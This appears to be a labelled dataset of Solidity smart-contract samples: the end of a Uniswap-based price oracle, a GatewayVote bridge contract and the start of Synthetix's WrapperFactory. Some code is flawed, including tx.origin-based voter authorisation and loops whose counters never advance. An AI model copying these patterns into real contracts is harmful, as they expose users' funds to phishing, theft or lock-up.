address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
uint[] memory _prices = new uint[](points);
uint _len = observations[pair].length-1;
uint length = _len.sub(48);
uint i = _len.sub(points.mul(48));
uint nextIndex = 0;
uint index = 0;
if (token0 == tokenIn) {
for (; i < length; i.add(48)) {
nextIndex = i.add(48);
_prices[index] = computeAmountOut(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
} else {
for (; i < length; i++) {
nextIndex = i.add(48);
_prices[index] = computeAmountOut(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
}
return _prices;
}
function weekly(address tokenIn, uint amountIn, address tokenOut, uint points) public view returns (uint[] memory) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
uint[] memory _prices = new uint[](points);
uint _len = observations[pair].length-1;
uint length = _len.sub(336);
uint i = _len.sub(points.mul(336));
uint nextIndex = 0;
uint index = 0;
if (token0 == tokenIn) {
for (; i < length; i.add(336)) {
nextIndex = i.add(336);
_prices[index] = computeAmountOut(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
} else {
for (; i < length; i++) {
nextIndex = i.add(336);
_prices[index] = computeAmountOut(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
}
return _prices;
}
function impliedVolatilityHourly(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) {
return stddev(hourly(tokenIn, amountIn, tokenOut, 1));
}
function impliedVolatilityDaily(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) {
return stddev(daily(tokenIn, amountIn, tokenOut, 1));
}
function impliedVolatilityWeekly(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) {
return stddev(weekly(tokenIn, amountIn, tokenOut, 1));
}
/**
* @dev sqrt calculates the square root of a given number x
* @dev for precision into decimals the number must first
* @dev be multiplied by the precision factor desired
* @param x uint256 number for the calculation of square root
*/
function sqrt(uint256 x) public pure returns (uint256) {
uint256 c = (x + 1) / 2;
uint256 b = x;
while (c < b) {
b = c;
c = (x / c + c) / 2;
}
return b;
}
/**
* @dev stddev calculates the standard deviation for an array of integers
* @dev precision is the same as sqrt above meaning for higher precision
* @dev the decimal place must be moved prior to passing the params
* @param numbers uint[] array of numbers to be used in calculation
*/
function stddev(uint[] memory numbers) public pure returns (uint256 sd) {
uint sum = 0;
for(uint i = 0; i < numbers.length; i++) {
sum += numbers[i];
}
uint256 mean = sum / numbers.length; // Integral value; float not supported in Solidity
sum = 0;
uint i;
for(i = 0; i < numbers.length; i++) {
sum += (numbers[i] - mean) ** 2;
}
sd = sqrt(sum / (numbers.length - 1)); //Integral value; float not supported in Solidity
return sd;
}
/**
* @dev blackScholesEstimate calculates a rough price estimate for an ATM option
* @dev input parameters should be transformed prior to being passed to the function
* @dev so as to remove decimal places otherwise results will be far less accurate
* @param _vol uint256 volatility of the underlying converted to remove decimals
* @param _underlying uint256 price of the underlying asset
* @param _time uint256 days to expiration in years multiplied to remove decimals
*/
function blackScholesEstimate(
uint256 _vol,
uint256 _underlying,
uint256 _time
) public pure returns (uint256 estimate) {
estimate = 40 * _vol * _underlying * sqrt(_time);
return estimate;
}
/**
* @dev fromReturnsBSestimate first calculates the stddev of an array of price returns
* @dev then uses that as the volatility param for the blackScholesEstimate
* @param _numbers uint256[] array of price returns for volatility calculation
* @param _underlying uint256 price of the underlying asset
* @param _time uint256 days to expiration in years multiplied to remove decimals
*/
function retBasedBlackScholesEstimate(
uint256[] memory _numbers,
uint256 _underlying,
uint256 _time
) public pure {
uint _vol = stddev(_numbers);
blackScholesEstimate(_vol, _underlying, _time);
}
receive() external payable {}
function _swap(uint _amount) internal returns (uint) {
KP3R.approve(address(UNI), _amount);
address[] memory path = new address[](2);
path[0] = address(KP3R);
path[1] = address(WETH);
uint[] memory amounts = UNI.swapExactTokensForTokens(_amount, uint256(0), path, address(this), now.add(1800));
WETH.withdraw(amounts[1]);
return amounts[1];
}
} | True | [
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pragma solidity ^0.4.24;
interface App
{
function mint(address receiver, uint64 wad) external returns (bool);
function changeGatewayAddr(address newer) external returns (bool);
}
contract GatewayVote
{
struct Vote
{
bool done;
uint poll;
mapping(uint256 => uint8) voters;
}
struct AppInfo
{
uint32 chainCode;
uint32 tokenCode;
uint256 app;
}
// FIELDS
bool public mStopped;
uint32 public mMaxAppCode;
uint32 public mMaxChainCode;
uint256 public mNumVoters;
mapping(uint256 => uint8) mVoters;
mapping(uint256 => Vote) mVotesStore;
mapping(uint256 => uint32) mAppToCode;
mapping(uint32 => AppInfo) mCodeToAppInfo;
mapping(string => uint32) mChainToCode;
mapping(uint32 => string) mCodeToChain;
// EVENTS
event Stopped(uint256 indexed operation);
event Started(uint256 indexed operation);
event Confirmation(address voter, uint256 indexed operation);
event OperationDone(address voter, uint256 indexed operation);
event Revoke(address revoker, uint256 indexed operation);
event VoterChanged(address oldVoter, address newVoter, uint256 indexed operation);
event VoterAdded(address newVoter, uint256 indexed operation);
event VoterRemoved(address oldVoter, uint256 indexed operation);
event ChainAdded(string chain, uint256 indexed operation);
event AppAdded(address app, uint32 chain, uint32 token, uint256 indexed operation);
event AppRemoved(uint32 code, uint256 indexed operation);
event MintByGateway(uint32 appCode, address receiver, uint64 wad, uint256 indexed operation);
event BurnForGateway(uint32 appCode, address from, string dstDescribe, uint64 wad, uint64 fee);
event GatewayAddrChanged(uint32 appCode, address newer, uint256 indexed operation);
// METHODS
constructor(address[] voters) public
{
mNumVoters = voters.length;
for (uint i = 0; i < voters.length; ++i)
{
mVoters[uint(voters[i])] = 1;
}
}
function isVoter(address voter) public view returns (bool)
{
return mVoters[uint(voter)] == 1;
}
function isApper(address app) public view returns (bool)
{
return mAppToCode[uint(app)] > 0;
}
function isAppCode(uint32 code) public view returns (bool)
{
return mAppToCode[uint256(mCodeToAppInfo[code].app)] == code;
}
function getAppAddress(uint32 code) public view returns (address)
{
return address(mCodeToAppInfo[code].app);
}
function getAppChainCode(uint32 code) public view returns (uint32)
{
return mCodeToAppInfo[code].chainCode;
}
function getAppTokenCode(uint32 code) public view returns (uint32)
{
return mCodeToAppInfo[code].tokenCode;
}
function getAppInfo(uint32 code) public view returns (address, uint32, uint32)
{
return (address(mCodeToAppInfo[code].app), mCodeToAppInfo[code].chainCode, mCodeToAppInfo[code].tokenCode);
}
function getAppCode(address app) public view returns (uint32)
{
return mAppToCode[uint256(app)];
}
function isCaller(address addr) public view returns (bool)
{
return isVoter(addr) || isApper(addr);
}
function isChain(string chain) public view returns (bool)
{
return mChainToCode[chain] > 0;
}
function isChainCode(uint32 code) public view returns (bool)
{
return mChainToCode[mCodeToChain[code]] == code;
}
function getChainName(uint32 code) public view returns (string)
{
return mCodeToChain[code];
}
function getChainCode(string chain) public view returns (uint32)
{
return mChainToCode[chain];
}
function hasConfirmed(uint256 operation, address voter) public constant returns (bool)
{
if (mVotesStore[operation].voters[uint(voter)] == 1)
{
return true;
}
else
{
return false;
}
}
function major(uint total) internal pure returns (uint r)
{
r = (total * 2 + 1);
return r%3==0 ? r/3 : r/3+1;
}
function confirmation(uint256 operation) internal returns (bool)
{
Vote storage vote = mVotesStore[operation];
if (vote.done) return;
if (vote.voters[uint(tx.origin)] == 0)
{
vote.voters[uint(tx.origin)] = 1;
vote.poll++;
emit Confirmation(tx.origin, operation);
}
//check if poll is enough to go ahead.
if (vote.poll >= major(mNumVoters))
{
vote.done = true;
emit OperationDone(tx.origin, operation);
return true;
}
}
function stop(string proposal) external
{
// the origin tranx sender should be a voter
// contract should be running
require(isVoter(tx.origin) && !mStopped);
// wait for voters until poll >= major
if(!confirmation(uint256(keccak256(msg.data)))) return;
// change state
mStopped = true;
// log output
emit Stopped(uint(keccak256(msg.data)));
}
function start(string proposal) external
{
// the origin tranx sender should be a voter
// contract should be stopped
require(isVoter(tx.origin) && mStopped);
if(!confirmation(uint256(keccak256(msg.data)))) return;
mStopped = false;
emit Started(uint(keccak256(msg.data)));
}
function revoke(uint256 operation) external
{
require(isVoter(tx.origin) && !mStopped);
Vote storage vote = mVotesStore[operation];
// the vote for this operation should not be done
// the origin tranx sender should have voted to this operation
require(!vote.done && (vote.voters[uint(tx.origin)] == 1));
vote.poll--;
delete vote.voters[uint(tx.origin)];
emit Revoke(tx.origin, operation);
}
function changeVoter(address older, address newer, string proposal) external
{
require(isVoter(tx.origin) && !mStopped && isVoter(older) && !isVoter(newer));
if(!confirmation(uint256(keccak256(msg.data)))) return;
mVoters[uint(newer)] = 1;
delete mVoters[uint(older)];
emit VoterChanged(older, newer, uint(keccak256(msg.data)));
}
function addVoter(address newer, string proposal) external
{
require(isVoter(tx.origin) && !mStopped && !isVoter(newer));
if(!confirmation(uint256(keccak256(msg.data)))) return;
mNumVoters++;
mVoters[uint(newer)] = 1;
emit VoterAdded(newer, uint256(keccak256(msg.data)));
}
function removeVoter(address older, string proposal) external
{
require(isVoter(tx.origin) && !mStopped && isVoter(older));
if(!confirmation(uint256(keccak256(msg.data)))) return;
mNumVoters--;
delete mVoters[uint(older)];
emit VoterRemoved(older, uint256(keccak256(msg.data)));
}
function addChain(string chain, string proposal) external
{
require(isVoter(tx.origin) && !mStopped && !isChain(chain));
if(!confirmation(uint256(keccak256(msg.data)))) return;
mMaxChainCode++;
mChainToCode[chain] = mMaxChainCode;
mCodeToChain[mMaxChainCode] = chain;
emit ChainAdded(chain, uint256(keccak256(msg.data)));
}
function addApp(address app, uint32 chain, uint32 token, string proposal) external
{
require(isVoter(tx.origin) && !mStopped && !isApper(app) && isChainCode(chain));
if(!confirmation(uint256(keccak256(msg.data)))) return;
mMaxAppCode++;
mAppToCode[uint256(app)] =mMaxAppCode;
mCodeToAppInfo[mMaxAppCode] = AppInfo(chain, token, uint256(app));
emit AppAdded(app, chain, token, uint256(keccak256(msg.data)));
}
function removeApp(uint32 code, string proposal) external
{
require(isVoter(tx.origin) && !mStopped && isAppCode(code));
if(!confirmation(uint256(keccak256(msg.data)))) return;
delete mAppToCode[uint256(mCodeToAppInfo[code].app)];
emit AppRemoved(code, uint256(keccak256(msg.data)));
}
function mintByGateway(uint32 appCode, uint64 wad, address receiver, string proposal) external
{
require(isVoter(tx.origin) && !mStopped && isAppCode(appCode));
if(!confirmation(uint256(keccak256(msg.data)))) return;
if (App(address(mCodeToAppInfo[appCode].app)).mint(receiver, wad))
{
emit MintByGateway(appCode, receiver, wad, uint256(keccak256(msg.data)));
}
}
function changeGatewayAddr(uint32 appCode, address newer, string proposal) external
{
require(isVoter(tx.origin) && !mStopped && isAppCode(appCode));
if(!confirmation(uint256(keccak256(msg.data)))) return;
if(App(address(mCodeToAppInfo[appCode].app)).changeGatewayAddr(newer))
{
emit GatewayAddrChanged(appCode, newer, uint256(keccak256(msg.data)));
}
}
function burnForGateway(address from, string dstDescribe, uint64 wad, uint64 fee) external
{
require(isApper(msg.sender));
emit BurnForGateway(mAppToCode[uint256(msg.sender)], from, dstDescribe, wad, fee);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-03
*/
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: WrapperFactory.sol
*
* Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/WrapperFactory.sol
* Docs: https://docs.synthetix.io/contracts/WrapperFactory
*
* Contract Dependencies:
* - IAddressResolver
* - IWrapper
* - IWrapperFactory
* - MixinResolver
* - MixinSystemSettings
* - Owned
* - Pausable
* Libraries:
* - SafeDecimalMath
* - SafeMath
*
* MIT License
* ===========
*
* Copyright (c) 2021 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.16;
// https://docs.synthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getSynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.synthetix.io/contracts/source/interfaces/isynth
interface ISynth {
// Views
function currencyKey() external view returns (bytes32);
function transferableSynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to Synthetix
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function canBurnSynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableSynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function synths(bytes32 currencyKey) external view returns (ISynth);
function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint);
function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
// Restricted: used internally to Synthetix
function issueSynths(address from, uint amount) external;
function issueSynthsOnBehalf(
address issueFor,
address from,
uint amount
) external;
function issueMaxSynths(address from) external;
function issueMaxSynthsOnBehalf(address issueFor, address from) external;
function burnSynths(address from, uint amount) external;
function burnSynthsOnBehalf(
address burnForAddress,
address from,
uint amount
) external;
function burnSynthsToTarget(address from) external;
function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external;
function burnForRedemption(
address deprecatedSynthProxy,
address account,
uint balance
) external;
function liquidateDelinquentAccount(
address account,
uint susdAmount,
address liquidator
) external returns (uint totalRedeemed, uint amountToLiquidate);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
/* ========== RESTRICTED FUNCTIONS ========== */
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
/* ========= PUBLIC FUNCTIONS ========== */
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
/* ========== VIEWS ========== */
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getSynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.synths(key));
}
/* ========== EVENTS ========== */
event AddressImported(bytes32 name, address destination);
}
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
/* ========== INTERNAL FUNCTIONS ========== */
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Note: this function is public not external in order for it to be overridden and invoked via super in subclasses
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
/* ========== VIEWS ========== */
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
/* ========== INTERNAL FUNCTIONS ========== */
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
/* ========== EVENTS ========== */
event CacheUpdated(bytes32 name, address destination);
}
// Inheritance
// https://docs.synthetix.io/contracts/source/contracts/pausable
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
/**
* @notice Change the paused state of the contract
* @dev Only the contract owner may call this.
*/
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
// https://docs.synthetix.io/contracts/source/interfaces/ierc20
interface IERC20 {
// ERC20 Optional Views
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// Views
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
// Mutative functions
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(
address from,
address to,
uint value
) external returns (bool);
// Events
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// https://docs.synthetix.io/contracts/source/interfaces/iwrapper
interface IWrapper {
function mint(uint amount) external;
function burn(uint amount) external;
function capacity() external view returns (uint);
function totalIssuedSynths() external view returns (uint);
function calculateMintFee(uint amount) external view returns (uint, bool);
function calculateBurnFee(uint amount) external view returns (uint, bool);
function maxTokenAmount() external view returns (uint256);
function mintFeeRate() external view returns (int256);
function burnFeeRate() external view returns (int256);
}
// https://docs.synthetix.io/contracts/source/interfaces/iexchangerates
interface IExchangeRates {
// Structs
struct RateAndUpdatedTime {
uint216 rate;
uint40 time;
}
// Views
function aggregators(bytes32 currencyKey) external view returns (address);
function aggregatorWarningFlags() external view returns (address);
function anyRateIsInvalid(bytes32[] calldata currencyKeys) external view returns (bool);
function currentRoundForRate(bytes32 currencyKey) external view returns (uint);
function currenciesUsingAggregator(address aggregator) external view returns (bytes32[] memory);
function effectiveValue(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external view returns (uint value);
function effectiveValueAndRates(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
)
external
view
returns (
uint value,
uint sourceRate,
uint destinationRate
);
function effectiveAtomicValueAndRates(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
)
external
view
returns (
uint value,
uint systemValue,
uint systemSourceRate,
uint systemDestinationRate
);
function effectiveValueAtRound(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
uint roundIdForSrc,
uint roundIdForDest
) external view returns (uint value);
function getCurrentRoundId(bytes32 currencyKey) external view returns (uint);
function getLastRoundIdBeforeElapsedSecs(
bytes32 currencyKey,
uint startingRoundId,
uint startingTimestamp,
uint timediff
) external view returns (uint);
function lastRateUpdateTimes(bytes32 currencyKey) external view returns (uint256);
function oracle() external view returns (address);
function rateAndTimestampAtRound(bytes32 currencyKey, uint roundId) external view returns (uint rate, uint time);
function rateAndUpdatedTime(bytes32 currencyKey) external view returns (uint rate, uint time);
function rateAndInvalid(bytes32 currencyKey) external view returns (uint rate, bool isInvalid);
function rateForCurrency(bytes32 currencyKey) external view returns (uint);
function rateIsFlagged(bytes32 currencyKey) external view returns (bool);
function rateIsInvalid(bytes32 currencyKey) external view returns (bool);
function rateIsStale(bytes32 currencyKey) external view returns (bool);
function rateStalePeriod() external view returns (uint);
function ratesAndUpdatedTimeForCurrencyLastNRounds(bytes32 currencyKey, uint numRounds)
external
view
returns (uint[] memory rates, uint[] memory times);
function ratesAndInvalidForCurrencies(bytes32[] calldata currencyKeys)
external
view
returns (uint[] memory rates, bool anyRateInvalid);
function ratesForCurrencies(bytes32[] calldata currencyKeys) external view returns (uint[] memory);
function synthTooVolatileForAtomicExchange(bytes32 currencyKey) external view returns (bool);
}
interface IDebtCache {
// Views
function cachedDebt() external view returns (uint);
function cachedSynthDebt(bytes32 currencyKey) external view returns (uint);
function cacheTimestamp() external view returns (uint);
function cacheInvalid() external view returns (bool);
function cacheStale() external view returns (bool);
function currentSynthDebts(bytes32[] calldata currencyKeys)
external
view
returns (
uint[] memory debtValues,
uint excludedDebt,
bool anyRateIsInvalid
);
function cachedSynthDebts(bytes32[] calldata currencyKeys) external view returns (uint[] memory debtValues);
function totalNonSnxBackedDebt() external view returns (uint excludedDebt, bool isInvalid);
function currentDebt() external view returns (uint debt, bool anyRateIsInvalid);
function cacheInfo()
external
view
returns (
uint debt,
uint timestamp,
bool isInvalid,
bool isStale
);
// Mutative functions
function updateCachedSynthDebts(bytes32[] calldata currencyKeys) external;
function updateCachedSynthDebtWithRate(bytes32 currencyKey, uint currencyRate) external;
function updateCachedSynthDebtsWithRates(bytes32[] calldata currencyKeys, uint[] calldata currencyRates) external;
function updateDebtCacheValidity(bool currentlyInvalid) external;
function purgeCachedSynthDebt(bytes32 currencyKey) external;
function takeDebtSnapshot() external;
function recordExcludedDebtChange(bytes32 currencyKey, int256 delta) external;
function updateCachedsUSDDebt(int amount) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/isystemstatus
interface ISystemStatus {
struct Status {
bool canSuspend;
bool canResume;
}
struct Suspension {
bool suspended;
// reason is an integer code,
// 0 => no reason, 1 => upgrading, 2+ => defined by system usage
uint248 reason;
}
// Views
function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume);
function requireSystemActive() external view;
function requireIssuanceActive() external view;
function requireExchangeActive() external view;
function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function requireSynthActive(bytes32 currencyKey) external view;
function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view;
function systemSuspension() external view returns (bool suspended, uint248 reason);
function issuanceSuspension() external view returns (bool suspended, uint248 reason);
function exchangeSuspension() external view returns (bool suspended, uint248 reason);
function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason);
function getSynthExchangeSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory exchangeSuspensions, uint256[] memory reasons);
function getSynthSuspensions(bytes32[] calldata synths)
external
view
returns (bool[] memory suspensions, uint256[] memory reasons);
// Restricted functions
function suspendSynth(bytes32 currencyKey, uint256 reason) external;
function updateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iwrapperfactory
interface IWrapperFactory {
function isWrapper(address possibleWrapper) external view returns (bool);
function createWrapper(
IERC20 token,
bytes32 currencyKey,
bytes32 synthContractName
) external returns (address);
function distributeFees() external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iflexiblestorage
interface IFlexibleStorage {
// Views
function getUIntValue(bytes32 contractName, bytes32 record) external view returns (uint);
function getUIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (uint[] memory);
function getIntValue(bytes32 contractName, bytes32 record) external view returns (int);
function getIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (int[] memory);
function getAddressValue(bytes32 contractName, bytes32 record) external view returns (address);
function getAddressValues(bytes32 contractName, bytes32[] calldata records) external view returns (address[] memory);
function getBoolValue(bytes32 contractName, bytes32 record) external view returns (bool);
function getBoolValues(bytes32 contractName, bytes32[] calldata records) external view returns (bool[] memory);
function getBytes32Value(bytes32 contractName, bytes32 record) external view returns (bytes32);
function getBytes32Values(bytes32 contractName, bytes32[] calldata records) external view returns (bytes32[] memory);
// Mutative functions
function deleteUIntValue(bytes32 contractName, bytes32 record) external;
function deleteIntValue(bytes32 contractName, bytes32 record) external;
function deleteAddressValue(bytes32 contractName, bytes32 record) external;
function deleteBoolValue(bytes32 contractName, bytes32 record) external;
function deleteBytes32Value(bytes32 contractName, bytes32 record) external;
function setUIntValue(
bytes32 contractName,
bytes32 record,
uint value
) external;
function setUIntValues(
bytes32 contractName,
bytes32[] calldata records,
uint[] calldata values
) external;
function setIntValue(
bytes32 contractName,
bytes32 record,
int value
) external;
function setIntValues(
bytes32 contractName,
bytes32[] calldata records,
int[] calldata values
) external;
function setAddressValue(
bytes32 contractName,
bytes32 record,
address value
) external;
function setAddressValues(
bytes32 contractName,
bytes32[] calldata records,
address[] calldata values
) external;
function setBoolValue(
bytes32 contractName,
bytes32 record,
bool value
) external;
function setBoolValues(
bytes32 contractName,
bytes32[] calldata records,
bool[] calldata values
) external;
function setBytes32Value(
bytes32 contractName,
bytes32 record,
bytes32 value
) external;
function setBytes32Values(
bytes32 contractName,
bytes32[] calldata records,
bytes32[] calldata values
) external;
}
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinsystemsettings
contract MixinSystemSettings is MixinResolver {
bytes32 internal constant SETTING_CONTRACT_NAME = "SystemSettings";
bytes32 internal constant SETTING_WAITING_PERIOD_SECS = "waitingPeriodSecs";
bytes32 internal constant SETTING_PRICE_DEVIATION_THRESHOLD_FACTOR = "priceDeviationThresholdFactor";
bytes32 internal constant SETTING_ISSUANCE_RATIO = "issuanceRatio";
bytes32 internal constant SETTING_FEE_PERIOD_DURATION = "feePeriodDuration";
bytes32 internal constant SETTING_TARGET_THRESHOLD = "targetThreshold";
bytes32 internal constant SETTING_LIQUIDATION_DELAY = "liquidationDelay";
bytes32 internal constant SETTING_LIQUIDATION_RATIO = "liquidationRatio";
bytes32 internal constant SETTING_LIQUIDATION_PENALTY = "liquidationPenalty";
bytes32 internal constant SETTING_RATE_STALE_PERIOD = "rateStalePeriod";
bytes32 internal constant SETTING_EXCHANGE_FEE_RATE = "exchangeFeeRate";
bytes32 internal constant SETTING_MINIMUM_STAKE_TIME = "minimumStakeTime";
bytes32 internal constant SETTING_AGGREGATOR_WARNING_FLAGS = "aggregatorWarningFlags";
